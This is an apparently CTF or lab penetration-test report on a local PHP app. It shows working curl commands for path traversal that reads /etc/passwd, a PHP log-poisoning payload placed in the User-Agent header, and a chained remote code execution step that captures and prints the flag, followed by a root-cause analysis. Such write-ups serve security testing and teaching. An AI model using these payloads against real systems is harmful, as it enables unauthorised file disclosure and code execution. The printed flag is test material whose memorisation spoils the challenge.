# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: Unauthenticated Local File Inclusion (LFI) Leading to Remote Code Execution and Flag Capture

**Summary:**
- **Vulnerable location:** `/post.php?id=` parameter (GET request)
- **Overview:** Path traversal vulnerability in file inclusion mechanism allows reading arbitrary files and achieving remote code execution through Apache log poisoning
- **Impact:** Complete compromise achieved - CTF flag captured, system file disclosure, remote code execution capability demonstrated
- **Severity:** CRITICAL

**Prerequisites:** None - This is an unauthenticated vulnerability accessible to any external attacker without credentials.

**Exploitation Steps:**

#### Step 1: Confirm LFI Vulnerability with System File Read

Test the vulnerability by attempting to read `/etc/passwd`:

```bash
curl -s "http://localhost:45447/post.php?id=../../../../etc/passwd"
```

**Expected Result:** The contents of `/etc/passwd` are returned, confirming path traversal works.

**Actual Result (Proof):**
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

This confirms the LFI vulnerability is exploitable and allows reading arbitrary files from the container filesystem.

#### Step 2: Identify Container Hostname

Read the container's hostname to understand the environment:

```bash
curl -s "http://localhost:45447/post.php?id=../../../../etc/hostname"
```

**Result:** 
```
92bb6adf9f91
```

This confirms we're operating in a Docker container environment.

#### Step 3: Attempt Direct FLAG.php Access

The FLAG file is located at `/FLAG.php` in the container root. Attempt direct access:

```bash
curl -s "http://localhost:45447/post.php?id=../../../../FLAG.php"
```

**Result:** Empty response (HTTP 200 with Content-Length: 0)

**Analysis:** The FLAG.php file exists and is included, but contains malformed PHP syntax: `<?php FLAG{...} ?>`. This causes a fatal parse error that cannot be suppressed, resulting in no output. While direct inclusion fails, this confirms the file exists at the expected location.

#### Step 4: Escalate to Remote Code Execution via Log Poisoning

Since direct FLAG.php inclusion fails due to syntax errors, escalate the attack by poisoning the Apache access log (which has world-writable permissions 0777) with PHP code.

**Step 4a:** Poison the Apache access log by injecting PHP code via the User-Agent header:

```bash
curl -s -A "<?php echo 'LFI_TEST:'; system('cat /FLAG.php'); echo ':END_TEST'; ?>" \
  "http://localhost:45447/anypage" > /dev/null
```

This writes a log entry containing executable PHP code to `/var/log/apache2/access.log`.

**Step 4b:** Include the poisoned log file through the LFI vulnerability:

```bash
curl -s "http://localhost:45447/post.php?id=../../../../var/log/apache2/access.log"
```

**Result:** The PHP code in the log executes, running `cat /FLAG.php` and revealing the flag in the output.

#### Step 5: Extract the Flag

Filter the output to extract the clean flag value:

```bash
curl -s "http://localhost:45447/post.php?id=../../../../var/log/apache2/access.log" \
  | grep -o "FLAG{[^}]*}"
```

**Captured Flag (Proof of Impact):**
```
FLAG{435876ad961400b74f76e2a251cf9cb5fb36997b153076f2482b609b0366363e}
```

**Proof of Impact:**

1. **Arbitrary File Read:** Successfully read `/etc/passwd`, `/etc/hostname`, and other system files
2. **Remote Code Execution:** Achieved through log poisoning + LFI technique
3. **CTF Flag Captured:** `FLAG{435876ad961400b74f76e2a251cf9cb5fb36997b153076f2482b609b0366363e}`
4. **Complete System Compromise:** Can execute arbitrary commands as `www-data` user

**Technical Details:**

The vulnerability exists in `/app/website/post.php` lines 4-11:

```php
<?php
error_reporting(0);

$post_id = $_GET['id'];              // Line 4 - No validation
$posts_path = "posts/";
$file_to_include = $posts_path . $post_id;  // Line 8 - Direct concatenation

if (file_exists($file_to_include)) {
    include($file_to_include);       // Line 11 - Dangerous file inclusion
} else {
    echo "<p>Post not found.</p>";
}
?>
```

**Root Cause Analysis:**
- **No Input Validation:** The `$_GET['id']` parameter is used directly without any sanitization
- **No Path Restriction:** Missing `basename()`, `realpath()`, or whitelist validation
- **No open_basedir:** PHP configuration allows access to any file readable by www-data
- **World-Writable Logs:** Apache access.log has 0777 permissions, enabling log poisoning

**Attack Chain:**
```
1. Attacker → HTTP Request with User-Agent containing PHP code
2. Apache → Writes User-Agent to /var/log/apache2/access.log (0777 permissions)
3. Attacker → LFI request: post.php?id=../../../../var/log/apache2/access.log
4. PHP → include() executes the log file as PHP code
5. Result → Injected PHP code runs with www-data privileges
6. Impact → Remote Code Execution + Flag Capture
```

**Notes:** 

This vulnerability demonstrates a complete compromise of the application. The combination of:
- Unauthenticated access
- Path traversal via LFI
- World-writable log files
- Ability to inject into those logs
- No WAF or input filtering

...creates a trivial-to-exploit critical vulnerability that allows any external attacker to achieve remote code execution and access any file on the system, including sensitive secrets like the CTF flag.

The exploitation required two requests:
1. One to poison the log with PHP code
2. One to include the poisoned log and execute the code

Both requests are simple HTTP GET requests with no authentication required, making this vulnerability extremely dangerous in a production environment.
